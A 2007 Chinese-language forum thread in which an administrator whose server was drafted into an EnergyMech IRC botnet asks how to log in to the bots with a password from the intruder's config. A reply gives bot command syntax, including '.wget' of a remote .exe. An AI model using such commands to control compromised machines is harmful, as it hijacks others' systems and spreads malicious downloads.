Chinaunix

标题: 熟悉ircbot的朋友请进 [打印本页]

作者: cloudxx 时间: 2007-03-31 20:41
标题: 熟悉ircbot的朋友请进
刚发现公司一台研发用的服务器被人入侵,检查后发现已经被入侵者连接如botnet,使用的是EnergyMech 2.8的ircbot,看了下官方网站介绍后,以及入侵者留下的配置文件后,登陆irc服务器,发现已经有多台bot接入channel了,因为配置文件中有密码,所以想尝试连接irc channel中的bot 测试下 ircbot的功能,但死活都无法和bot取得通信,

参照过这里的说明 ,但俺还是不会操作
http://www.ircops.dk/how-to/emech/initial.htm

So, to add yourself, do this:

/msg emech -add yournick * *!*yourident@*.your.host.com 100 0 1 yourpass

Now you're all set. /msg emech -verify yourpass, to get authenticated and dcc CHAT the bot. First command to try out, is -help.

麻烦有玩过这个的朋友讲解下到底如何连接bot执行命令?
谢谢

作者: linkboy 时间: 2007-03-31 21:17
...........你别指望了.没密码没用

作者: cloudxx 时间: 2007-03-31 22:34
有入侵者留下的配置文件.里面有密码,而且我不是还要连接别人的bot,我主要想自己测试下功能

作者: linkboy 时间: 2007-04-01 10:56
bot是通过特定字符+命令的方式控制的
比如
.passwd linkboy
.是特殊字符,后面的是命令

.wget www.baidu.com/abc.exe

欢迎光临 Chinaunix (http://bbs.chinaunix.net/)